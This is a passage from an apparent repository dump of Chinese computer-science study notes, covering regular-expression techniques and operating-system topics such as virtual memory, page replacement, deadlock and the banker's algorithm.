单词边界\n\n**\\b**  可以匹配一个单词的边界，边界是指位于 \\w 和 \\W 之间的位置；**\\B** 匹配一个不是单词边界的位置。\n\n\\b 只匹配位置，不匹配字符，因此 \\babc\\b 匹配出来的结果为 3 个字符。\n\n## 字符串边界\n\n**^**  匹配整个字符串的开头，**$** 匹配结尾。\n\n^ 元字符在字符集合中用作求非，在字符集合外用作匹配字符串的开头。\n\n分行匹配模式（multiline）下，换行被当做字符串的边界。\n\n**应用** \n\n匹配代码中以 // 开始的注释行\n\n**正则表达式** \n\n```\n^\\s*\\/\\/.*$\n```\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/600e9c75-5033-4dad-ae2b-930957db638e.png\"/> </div><br>\n\n**匹配结果** \n\n1. public void fun() {\n2. &nbsp;&nbsp;&nbsp;&nbsp;     **// 注释 1** \n3. &nbsp;&nbsp;&nbsp;&nbsp;    int a = 1;\n4. &nbsp;&nbsp;&nbsp;&nbsp;    int b = 2;\n5. &nbsp;&nbsp;&nbsp;&nbsp;     **// 注释 2** \n6. &nbsp;&nbsp;&nbsp;&nbsp;    int c = a + b;\n7. }\n\n# 七、使用子表达式\n\n使用  **( )**  定义一个子表达式。子表达式的内容可以当成一个独立元素，即可以将它看成一个字符，并且使用 * 等元字符。\n\n子表达式可以嵌套，但是嵌套层次过深会变得很难理解。\n\n**正则表达式** \n\n```\n(ab){2,}\n```\n\n**匹配结果** \n\n**ababab** \n\n**|**  是或元字符，它把左边和右边所有的部分都看成单独的两个部分，两个部分只要有一个匹配就行。\n\n**正则表达式** \n\n```\n(19|20)\\d{2}\n```\n\n**匹配结果** \n\n1.  **1900** \n2.  **2010** \n3. 1020\n\n**应用** \n\n匹配 IP 地址。\n\nIP 地址中每部分都是 0-255 的数字，用正则表达式匹配时以下情况是合法的：\n\n- 一位数字\n- 不以 0 开头的两位数字\n- 1 开头的三位数\n- 2 开头，第 2 位是 0-4 的三位数\n- 25 开头，第 3 位是 0-5 的三位数\n\n**正则表达式** \n\n```\n((25[0-5]|(2[0-4]\\d)|(1\\d{2})|([1-9]\\d)|(\\d))\\.){3}(25[0-5]|(2[0-4]\\d)|(1\\d{2})|([1-9]\\d)|(\\d))\n```\n\n**匹配结果** \n\n1.  **192.168.0.1** \n2. 00.00.00.00\n3. 555.555.555.555\n\n# 八、回溯引用\n\n回溯引用使用  **\\n**  来引用某个子表达式，其中 n 代表的是子表达式的序号，从 1 开始。它和子表达式匹配的内容一致，比如子表达式匹配到 abc，那么回溯引用部分也需要匹配 abc 。\n\n**应用** \n\n匹配 HTML 中合法的标题元素。\n\n**正则表达式** \n\n\\1 将回溯引用子表达式 (h[1-6]) 匹配的内容，也就是说必须和子表达式匹配的内容一致。\n\n```\n<(h[1-6])>\\w*?<\\/\\1>\n```\n\n**匹配结果** \n\n1.  **&lt;h1>x&lt;/h1>** \n2.  **&lt;h2>x&lt;/h2>** \n3. &lt;h3>x&lt;/h1>\n\n## 替换\n\n需要用到两个正则表达式。\n\n**应用** \n\n修改电话号码格式。\n\n**文本** \n\n313-555-1234\n\n**查找正则表达式** \n\n```\n(\\d{3})(-)(\\d{3})(-)(\\d{4})\n```\n\n**替换正则表达式** \n\n在第一个子表达式查找的结果加上 () ，然后加一个空格，在第三个和第五个字表达式查找的结果中间加上 - 进行分隔。\n\n```\n($1) $3-$5\n```\n\n**结果** \n\n(313) 555-1234\n\n## 大小写转换\n\n|  元字符 | 说明  |\n| :---: | :---: |\n|  \\l | 把下个字符转换为小写  |\n|   \\u| 把下个字符转换为大写  |\n|  \\L | 把\\L 和\\E 之间的字符全部转换为小写  |\n|  \\U | 把\\U 和\\E 之间的字符全部转换为大写  |\n|  \\E | 结束\\L 或者\\U  |\n\n**应用** \n\n把文本的第二个和第三个字符转换为大写。\n\n**文本** \n\nabcd\n\n**查找** \n\n```\n(\\w)(\\w{2})(\\w)\n```\n\n**替换** \n\n```\n$1\\U$2\\E$3\n```\n\n**结果** \n\naBCd\n\n# 九、前后查找\n\n前后查找规定了匹配的内容首尾应该匹配的内容，但是又不包含首尾匹配的内容。向前查找用  **?=**  来定义，它规定了尾部匹配的内容，这个匹配的内容在 ?= 之后定义。所谓向前查找，就是规定了一个匹配的内容，然后以这个内容为尾部向前面查找需要匹配的内容。向后匹配用 ?<= 定义（注: javaScript 不支持向后匹配, java 对其支持也不完善）。\n\n**应用** \n\n查找出邮件地址 @ 字符前面的部分。\n\n**正则表达式** \n\n```\n\\w+(?=@)\n```\n\n**结果** \n\n**abc** @qq.com\n\n对向前和向后查找取非，只要把 = 替换成 ! 即可，比如 (?=) 替换成 (?!) 。取非操作使得匹配那些首尾不符合要求的内容。\n\n# 十、嵌入条件\n\n## 回溯引用条件\n\n条件判断为某个子表达式是否匹配，如果匹配则需要继续匹配条件表达式后面的内容。\n\n**正则表达式** \n\n子表达式 (\\\\() 匹配一个左括号，其后的 ? 表示匹配 0 个或者 1 个。 ?(1) 为条件，当子表达式 1 匹配时条件成立，需要执行 \\) 匹配，也就是匹配右括号。\n\n```\n(\\()?abc(?(1)\\))\n```\n\n**结果** \n\n1.  **(abc)** \n2.  **abc** \n3. (abc\n\n## 前后查找条件\n\n条件为定义的首尾是否匹配，如果匹配，则继续执行后面的匹配。注意，首尾不包含在匹配的内容中。\n\n**正则表达式** \n\n ?(?=-) 为前向查找条件，只有在以 - 为前向查找的结尾能匹配 \\d{5} ，才继续匹配 -\\d{4} 。\n\n```\n\\d{5}(?(?=-)-\\d{4})\n```\n\n**结果** \n\n1.  **11111** \n2. 22222-\n3.  **33333-4444** \n\n# 参考资料\n\n- BenForta. 正则表达式必知必会 [M]. 人民邮电出版社, 2007.\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/计算机操作系统 - 内存管理.md",
    "content": "<!-- GFM-TOC -->\n* [虚拟内存](#虚拟内存)\n* [分页系统地址映射](#分页系统地址映射)\n* [页面置换算法](#页面置换算法)\n    * [1. 最佳](#1-最佳)\n    * [2. 最近最久未使用](#2-最近最久未使用)\n    * [3. 最近未使用](#3-最近未使用)\n    * [4. 先进先出](#4-先进先出)\n    * [5. 第二次机会算法](#5-第二次机会算法)\n    * [6. 时钟](#6-时钟)\n* [分段](#分段)\n* [段页式](#段页式)\n* [分页与分段的比较](#分页与分段的比较)\n<!-- GFM-TOC -->\n\n\n# 虚拟内存\n\n虚拟内存的目的是为了让物理内存扩充成更大的逻辑内存，从而让程序获得更多的可用内存。\n\n为了更好的管理内存，操作系统将内存抽象成地址空间。每个程序拥有自己的地址空间，这个地址空间被分割成多个块，每一块称为一页。这些页被映射到物理内存，但不需要映射到连续的物理内存，也不需要所有页都必须在物理内存中。当程序引用到不在物理内存中的页时，由硬件执行必要的映射，将缺失的部分装入物理内存并重新执行失败的指令。\n\n从上面的描述中可以看出，虚拟内存允许程序不用将地址空间中的每一页都映射到物理内存，也就是说一个程序不需要全部调入内存就可以运行，这使得有限的内存运行大程序成为可能。例如有一台计算机可以产生 16 位地址，那么一个程序的地址空间范围是 0\\~64K。该计算机只有 32KB 的物理内存，虚拟内存技术允许该计算机运行一个 64K 大小的程序。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/7b281b1e-0595-402b-ae35-8c91084c33c1.png\"/> </div><br>\n\n# 分页系统地址映射\n\n内存管理单元（MMU）管理着地址空间和物理内存的转换，其中的页表（Page table）存储着页（程序地址空间）和页框（物理内存空间）的映射表。\n\n一个虚拟地址分成两个部分，一部分存储页面号，一部分存储偏移量。\n\n下图的页表存放着 16 个页，这 16 个页需要用 4 个比特位来进行索引定位。例如对于虚拟地址（0010 000000000100），前 4 位是存储页面号 2，读取表项内容为（110 1），页表项最后一位表示是否存在于内存中，1 表示存在。后 12 位存储偏移量。这个页对应的页框的地址为 （110 000000000100）。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/cf4386a1-58c9-4eca-a17f-e12b1e9770eb.png\" width=\"500\"/> </div><br>\n\n# 页面置换算法\n\n在程序运行过程中，如果要访问的页面不在内存中，就发生缺页中断从而将该页调入内存中。此时如果内存已无空闲空间，系统必须从内存中调出一个页面到磁盘对换区中来腾出空间。\n\n页面置换算法和缓存淘汰策略类似，可以将内存看成磁盘的缓存。在缓存系统中，缓存的大小有限，当有新的缓存到达时，需要淘汰一部分已经存在的缓存，这样才有空间存放新的缓存数据。\n\n页面置换算法的主要目标是使页面置换频率最低（也可以说缺页率最低）。\n\n## 1. 最佳\n\n> OPT, Optimal replacement algorithm\n\n所选择的被换出的页面将是最长时间内不再被访问，通常可以保证获得最低的缺页率。\n\n是一种理论上的算法，因为无法知道一个页面多长时间不再被访问。\n\n举例：一个系统为某进程分配了三个物理块，并有如下页面引用序列：\n\n```html\n7，0，1，2，0，3，0，4，2，3，0，3，2，1，2，0，1，7，0，1\n```\n\n开始运行时，先将 7, 0, 1 三个页面装入内存。当进程要访问页面 2 时，产生缺页中断，会将页面 7 换出，因为页面 7 再次被访问的时间最长。\n\n## 2. 最近最久未使用\n\n> LRU, Least Recently Used\n\n虽然无法知道将来要使用的页面情况，但是可以知道过去使用页面的情况。LRU 将最近最久未使用的页面换出。\n\n为了实现 LRU，需要在内存中维护一个所有页面的链表。当一个页面被访问时，将这个页面移到链表表头。这样就能保证链表表尾的页面是最近最久未访问的。\n\n因为每次访问都需要更新链表，因此这种方式实现的 LRU 代价很高。\n\n```html\n4，7，0，7，1，0，1，2，1，2，6\n```\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/eb859228-c0f2-4bce-910d-d9f76929352b.png\"/> </div><br>\n\n## 3. 最近未使用\n\n> NRU, Not Recently Used\n\n每个页面都有两个状态位：R 与 M，当页面被访问时设置页面的 R=1，当页面被修改时设置 M=1。其中 R 位会定时被清零。可以将页面分成以下四类：\n\n- R=0，M=0\n- R=0，M=1\n- R=1，M=0\n- R=1，M=1\n\n当发生缺页中断时，NRU 算法随机地从类编号最小的非空类中挑选一个页面将它换出。\n\nNRU 优先换出已经被修改的脏页面（R=0，M=1），而不是被频繁使用的干净页面（R=1，M=0）。\n\n## 4. 先进先出\n\n> FIFO, First In First Out\n\n选择换出的页面是最先进入的页面。\n\n该算法会将那些经常被访问的页面也被换出，从而使缺页率升高。\n\n## 5. 第二次机会算法\n\nFIFO 算法可能会把经常使用的页面置换出去，为了避免这一问题，对该算法做一个简单的修改：\n\n当页面被访问 (读或写) 时设置该页面的 R 位为 1。需要替换的时候，检查最老页面的 R 位。如果 R 位是 0，那么这个页面既老又没有被使用，可以立刻置换掉；如果是 1，就将 R 位清 0，并把该页面放到链表的尾端，修改它的装入时间使它就像刚装入的一样，然后继续从链表的头部开始搜索。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/ecf8ad5d-5403-48b9-b6e7-f2e20ffe8fca.png\"/> </div><br>\n\n## 6. 时钟\n\n> Clock\n\n第二次机会算法需要在链表中移动页面，降低了效率。时钟算法使用环形链表将页面连接起来，再使用一个指针指向最老的页面。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/5f5ef0b6-98ea-497c-a007-f6c55288eab1.png\"/> </div><br>\n\n# 分段\n\n虚拟内存采用的是分页技术，也就是将地址空间划分成固定大小的页，每一页再与内存进行映射。\n\n下图为一个编译器在编译过程中建立的多个表，有 4 个表是动态增长的，如果使用分页系统的一维地址空间，动态增长的特点会导致覆盖问题的出现。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/22de0538-7c6e-4365-bd3b-8ce3c5900216.png\"/> </div><br>\n\n分段的做法是把每个表分成段，一个段构成一个独立的地址空间。每个段的长度可以不同，并且可以动态增长。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/e0900bb2-220a-43b7-9aa9-1d5cd55ff56e.png\"/> </div><br>\n\n# 段页式\n\n程序的地址空间划分成多个拥有独立地址空间的段，每个段上的地址空间划分成大小相同的页。这样既拥有分段系统的共享和保护，又拥有分页系统的虚拟内存功能。\n\n# 分页与分段的比较\n\n- 对程序员的透明性：分页透明，但是分段需要程序员显式划分每个段。\n\n- 地址空间的维度：分页是一维地址空间，分段是二维的。\n\n- 大小是否可以改变：页的大小不可变，段的大小可以动态改变。\n\n- 出现的原因：分页主要用于实现虚拟内存，从而获得更大的地址空间；分段主要是为了使程序和数据可以被划分为逻辑上独立的地址空间并且有助于共享和保护。\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/计算机操作系统 - 概述.md",
    "content": "<!-- GFM-TOC -->\n* [基本特征](#基本特征)\n    * [1. 并发](#1-并发)\n    * [2. 共享](#2-共享)\n    * [3. 虚拟](#3-虚拟)\n    * [4. 异步](#4-异步)\n* [基本功能](#基本功能)\n    * [1. 进程管理](#1-进程管理)\n    * [2. 内存管理](#2-内存管理)\n    * [3. 文件管理](#3-文件管理)\n    * [4. 设备管理](#4-设备管理)\n* [系统调用](#系统调用)\n* [大内核和微内核](#大内核和微内核)\n    * [1. 大内核](#1-大内核)\n    * [2. 微内核](#2-微内核)\n* [中断分类](#中断分类)\n    * [1. 外中断](#1-外中断)\n    * [2. 异常](#2-异常)\n    * [3. 陷入](#3-陷入)\n<!-- GFM-TOC -->\n\n\n# 基本特征\n\n## 1. 并发\n\n并发是指宏观上在一段时间内能同时运行多个程序，而并行则指同一时刻能运行多个指令。\n\n并行需要硬件支持，如多流水线、多核处理器或者分布式计算系统。\n\n操作系统通过引入进程和线程，使得程序能够并发运行。\n\n## 2. 共享\n\n共享是指系统中的资源可以被多个并发进程共同使用。\n\n有两种共享方式：互斥共享和同时共享。\n\n互斥共享的资源称为临界资源，例如打印机等，在同一时间只允许一个进程访问，需要用同步机制来实现对临界资源的访问。\n\n## 3. 虚拟\n\n虚拟技术把一个物理实体转换为多个逻辑实体。\n\n主要有两种虚拟技术：时分复用技术和空分复用技术。\n\n多个进程能在同一个处理器上并发执行使用了时分复用技术，让每个进程轮流占有处理器，每次只执行一小个时间片并快速切换。\n\n虚拟内存使用了空分复用技术，它将物理内存抽象为地址空间，每个进程都有各自的地址空间。地址空间的页被映射到物理内存，地址空间的页并不需要全部在物理内存中，当使用到一个没有在物理内存的页时，执行页面置换算法，将该页置换到内存中。\n\n## 4. 异步\n\n异步指进程不是一次性执行完毕，而是走走停停，以不可知的速度向前推进。\n\n# 基本功能\n\n## 1. 进程管理\n\n进程控制、进程同步、进程通信、死锁处理、处理机调度等。\n\n## 2. 内存管理\n\n内存分配、地址映射、内存保护与共享、虚拟内存等。\n\n## 3. 文件管理\n\n文件存储空间的管理、目录管理、文件读写管理和保护等。\n\n## 4. 设备管理\n\n完成用户的 I/O 请求，方便用户使用各种设备，并提高设备的利用率。\n\n主要包括缓冲管理、设备分配、设备处理、虛拟设备等。\n\n# 系统调用\n\n如果一个进程在用户态需要使用内核态的功能，就进行系统调用从而陷入内核，由操作系统代为完成。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/tGPV0.png\" width=\"600\"/> </div><br>\n\nLinux 的系统调用主要有以下这些：\n\n| Task | Commands |\n| :---: | --- |\n| 进程控制 | fork(); exit(); wait(); |\n| 进程通信 | pipe(); shmget(); mmap(); |\n| 文件操作 | open(); read(); write(); |\n| 设备操作 | ioctl(); read(); write(); |\n| 信息维护 | getpid(); alarm(); sleep(); |\n| 安全 | chmod(); umask(); chown(); |\n\n# 大内核和微内核\n\n## 1. 大内核\n\n大内核是将操作系统功能作为一个紧密结合的整体放到内核。\n\n由于各模块共享信息，因此有很高的性能。\n\n## 2. 微内核\n\n由于操作系统不断复杂，因此将一部分操作系统功能移出内核，从而降低内核的复杂性。移出的部分根据分层的原则划分成若干服务，相互独立。\n\n在微内核结构下，操作系统被划分成小的、定义良好的模块，只有微内核这一个模块运行在内核态，其余模块运行在用户态。\n\n因为需要频繁地在用户态和核心态之间进行切换，所以会有一定的性能损失。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/2_14_microkernelArchitecture.jpg\"/> </div><br>\n\n# 中断分类\n\n## 1. 外中断\n\n由 CPU 执行指令以外的事件引起，如 I/O 完成中断，表示设备输入/输出处理已经完成，处理器能够发送下一个输入/输出请求。此外还有时钟中断、控制台中断等。\n\n## 2. 异常\n\n由 CPU 执行指令的内部事件引起，如非法操作码、地址越界、算术溢出等。\n\n## 3. 陷入\n\n在用户程序中使用系统调用。\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/计算机操作系统 - 死锁.md",
    "content": "<!-- GFM-TOC -->\n* [必要条件](#必要条件)\n* [处理方法](#处理方法)\n* [鸵鸟策略](#鸵鸟策略)\n* [死锁检测与死锁恢复](#死锁检测与死锁恢复)\n    * [1. 每种类型一个资源的死锁检测](#1-每种类型一个资源的死锁检测)\n    * [2. 每种类型多个资源的死锁检测](#2-每种类型多个资源的死锁检测)\n    * [3. 死锁恢复](#3-死锁恢复)\n* [死锁预防](#死锁预防)\n    * [1. 破坏互斥条件](#1-破坏互斥条件)\n    * [2. 破坏占有和等待条件](#2-破坏占有和等待条件)\n    * [3. 破坏不可抢占条件](#3-破坏不可抢占条件)\n    * [4. 破坏环路等待](#4-破坏环路等待)\n* [死锁避免](#死锁避免)\n    * [1. 安全状态](#1-安全状态)\n    * [2. 单个资源的银行家算法](#2-单个资源的银行家算法)\n    * [3. 多个资源的银行家算法](#3-多个资源的银行家算法)\n<!-- GFM-TOC -->\n\n\n# 必要条件\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/c037c901-7eae-4e31-a1e4-9d41329e5c3e.png\"/> </div><br>\n\n- 互斥：每个资源要么已经分配给了一个进程，要么就是可用的。\n- 占有和等待：已经得到了某个资源的进程可以再请求新的资源。\n- 不可抢占：已经分配给一个进程的资源不能强制性地被抢占，它只能被占有它的进程显式地释放。\n- 环路等待：有两个或者两个以上的进程组成一条环路，该环路中的每个进程都在等待下一个进程所占有的资源。\n\n# 处理方法\n\n主要有以下四种方法：\n\n- 鸵鸟策略\n- 死锁检测与死锁恢复\n- 死锁预防\n- 死锁避免\n\n# 鸵鸟策略\n\n把头埋在沙子里，假装根本没发生问题。\n\n因为解决死锁问题的代价很高，因此鸵鸟策略这种不采取任务措施的方案会获得更高的性能。\n\n当发生死锁时不会对用户造成多大影响，或发生死锁的概率很低，可以采用鸵鸟策略。\n\n大多数操作系统，包括 Unix，Linux 和 Windows，处理死锁问题的办法仅仅是忽略它。\n\n# 死锁检测与死锁恢复\n\n不试图阻止死锁，而是当检测到死锁发生时，采取措施进行恢复。\n\n## 1. 每种类型一个资源的死锁检测\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/b1fa0453-a4b0-4eae-a352-48acca8fff74.png\"/> </div><br>\n\n上图为资源分配图，其中方框表示资源，圆圈表示进程。资源指向进程表示该资源已经分配给该进程，进程指向资源表示进程请求获取该资源。\n\n图 a 可以抽取出环，如图 b，它满足了环路等待条件，因此会发生死锁。\n\n每种类型一个资源的死锁检测算法是通过检测有向图是否存在环来实现，从一个节点出发进行深度优先搜索，对访问过的节点进行标记，如果访问了已经标记的节点，就表示有向图存在环，也就是检测到死锁的发生。\n\n## 2. 每种类型多个资源的死锁检测\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/e1eda3d5-5ec8-4708-8e25-1a04c5e11f48.png\"/> </div><br>\n\n上图中，有三个进程四个资源，每个数据代表的含义如下：\n\n- E 向量：资源总量\n- A 向量：资源剩余量\n- C 矩阵：每个进程所拥有的资源数量，每一行都代表一个进程拥有资源的数量\n- R 矩阵：每个进程请求的资源数量\n\n进程 P<sub>1</sub> 和 P<sub>2</sub> 所请求的资源都得不到满足，只有进程 P<sub>3</sub> 可以，让 P<sub>3</sub> 执行，之后释放 P<sub>3</sub> 拥有的资源，此时 A = (2 2 2 0)。P<sub>2</sub> 可以执行，执行后释放 P<sub>2</sub> 拥有的资源，A = (4 2 2 1) 。P<sub>1</sub> 也可以执行。所有进程都可以顺利执行，没有死锁。\n\n算法总结如下：\n\n每个进程最开始时都不被标记，执行过程有可能被标记。当算法结束时，任何没有被标记的进程都是死锁进程。\n\n1. 寻找一个没有标记的进程 P<sub>i</sub>，它所请求的资源小于等于 A。\n2. 如果找到了这样一个进程，那么将 C 矩阵的第 i 行向量加到 A 中，标记该进程，并转回 1。\n3. 如果没有这样一个进程，算法终止。\n\n## 3. 死锁恢复\n\n- 利用抢占恢复\n- 利用回滚恢复\n- 通过杀死进程恢复\n\n# 死锁预防\n\n在程序运行之前预防发生死锁。\n\n## 1. 破坏互斥条件\n\n例如假脱机打印机技术允许若干个进程同时输出，唯一真正请求物理打印机的进程是打印机守护进程。\n\n## 2. 破坏占有和等待条件\n\n一种实现方式是规定所有进程在开始执行前请求所需要的全部资源。\n\n## 3. 破坏不可抢占条件\n\n## 4. 破坏环路等待\n\n给资源统一编号，进程只能按编号顺序来请求资源。\n\n# 死锁避免\n\n在程序运行时避免发生死锁。\n\n## 1. 安全状态\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/ed523051-608f-4c3f-b343-383e2d194470.png\"/> </div><br>\n\n图 a 的第二列 Has 表示已拥有的资源数，第三列 Max 表示总共需要的资源数，Free 表示还有可以使用的资源数。从图 a 开始出发，先让 B 拥有所需的所有资源（图 b），运行结束后释放 B，此时 Free 变为 5（图 c）；接着以同样的方式运行 C 和 A，使得所有进程都能成功运行，因此可以称图 a 所示的状态时安全的。\n\n定义：如果没有死锁发生，并且即使所有进程突然请求对资源的最大需求，也仍然存在某种调度次序能够使得每一个进程运行完毕，则称该状态是安全的。\n\n安全状态的检测与死锁的检测类似，因为安全状态必须要求不能发生死锁。下面的银行家算法与死锁检测算法非常类似，可以结合着做参考对比。\n\n## 2. 单个资源的银行家算法\n\n一个小城镇的银行家，他向一群客户分别承诺了一定的贷款额度，算法要做的是判断对请求的满足是否会进入不安全状态，如果是，就拒绝请求；否则予以分配。\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/d160ec2e-cfe2-4640-bda7-62f53e58b8c0.png\"/> </div><br>\n\n上图 c 为不安全状态，因此算法会拒绝之前的请求，从而避免进入图 c 中的状态。\n\n## 3. 多个资源的银行家算法\n\n<div align=\"center\"> <img src=\"https://gitee.com/CyC2018/CS-Notes/raw/master/docs/pics/62e0dd4f-44c3-43ee-bb6e-fedb9e068519.png\"/> </div><br>\n\n上图中有五个进程，四个资源。左边的图表示已经分配的资源，右边的图表示还需要分配的资源。最右边的 E、P 以及 A 分别表示：总资源、已分配资源以及可用资源，注意这三个为向量，而不是具体数值，例如 A=(1020)，表示 4 个资源分别还剩下 1/0/2/0。\n\n检查一个状态是否安全的算法如下：\n\n- 查找右边的矩阵是否存在一行小于等于向量 A。如果不存在这样的行，那么系统将会发生死锁，状态是不安全的。\n- 假若找到这样一行，将该进程标记为终止，并将其已分配资源加到 A 中。\n- 重复以上两步，直到所有进程都标记为终止，则状态时安全的。\n\n如果一个状态不是安全的，需要拒绝进入这个状态。\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/计算机操作系统 - 目录.md",
    "content": "\n\n# 目录\n\n- [概述](计算机操作系统%20-%20概述.md)\n- [进程管理](计算机操作系统%20-%20进程管理.md)\n- [死锁](计算机操作系统%20-%20死锁.md)\n- [内存管理](计算机操作系统%20-%20内存管理.md)\n- [设备管理](计算机操作系统%20-%20设备管理.md)\n- [链接](计算机操作系统%20-%20链接.md)\n\n# 参考资料\n\n- Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014.\n- 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001.\n- Bryant, R. E., & O’Hallaron, D. R. (2004). 深入理解计算机系统.\n- 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014.\n- [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/)\n- [Operating-System Structures](https://www.cs.uic.edu/\\~jbell/CourseNotes/OperatingSystems/2_Structures.html)\n- [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php)\n- [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1)\n- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 可领取复习大纲，这份大纲是我花了一整年时间整理的面试知识点列表，不仅系统整理了面试知识点，而且标注了各个知识点的重要程度，从而帮你理清多而杂的面试知识点。可以说我基本是按照这份大纲来进行复习的，这份大纲对我拿到了 BAT 头条等 Offer 起到很大的帮助。你们完全可以和我一样根据大纲上列的知识点来进行复习，就不用看很多不重要的内容，也可以知道哪些内容很重要从而多安排一些复习时间。</div></br>\n<div align=\"center\"><img width=\"180px\" src=\"https://cyc-1256109796.cos.ap-guangzhou.myqcloud.com/%E5%85%AC%E4%BC%97%E5%8F%B7.jpg\"></img></div>\n"
  },
  {
    "path": "docs/notes/计算机操作系统 - 目录1.md",
    "content": "\n\n# 目录\n\n- [概述](notes/计算机操作系统%20-%20概述.md)\n- [进程管理](notes/计算机操作系统%20-%20进程管理.md)\n- [死锁](notes/计算机操作系统%20-%20死锁.md)\n- [内存管理](notes/计算机操作系统%20-%20内存管理.md)\n- [设备管理](notes/计算机操作系统%20-%20设备管理.md)\n- [链接](notes/计算机操作系统%20-%20链接.md)\n\n# 参考资料\n\n- Tanenbaum A S, Bos H. Modern operating systems[M]. Prentice Hall Press, 2014.\n- 汤子瀛, 哲凤屏, 汤小丹. 计算机操作系统[M]. 西安电子科技大学出版社, 2001.\n- Bryant, R. E., & O’Hallaron, D. R. (2004). 深入理解计算机系统.\n- 史蒂文斯. UNIX 环境高级编程 [M]. 人民邮电出版社, 2014.\n- [Operating System Notes](https://applied-programming.github.io/Operating-Systems-Notes/)\n- [Operating-System Structures](https://www.cs.uic.edu/\\~jbell/CourseNotes/OperatingSystems/2_Structures.html)\n- [Processes](http://cse.csusb.edu/tongyu/courses/cs460/notes/process.php)\n- [Inter Process Communication Presentation[1]](https://www.slideshare.net/rkolahalam/inter-process-communication-presentation1)\n- [Decoding UCS Invicta – Part 1](https://blogs.cisco.com/datacenter/decoding-ucs-invicta-part-1)\n\n\n\n\n</br><div align=\"center\">🎨️欢迎关注我的公众号 CyC2018，在公众号后台回复关键字 **资料** 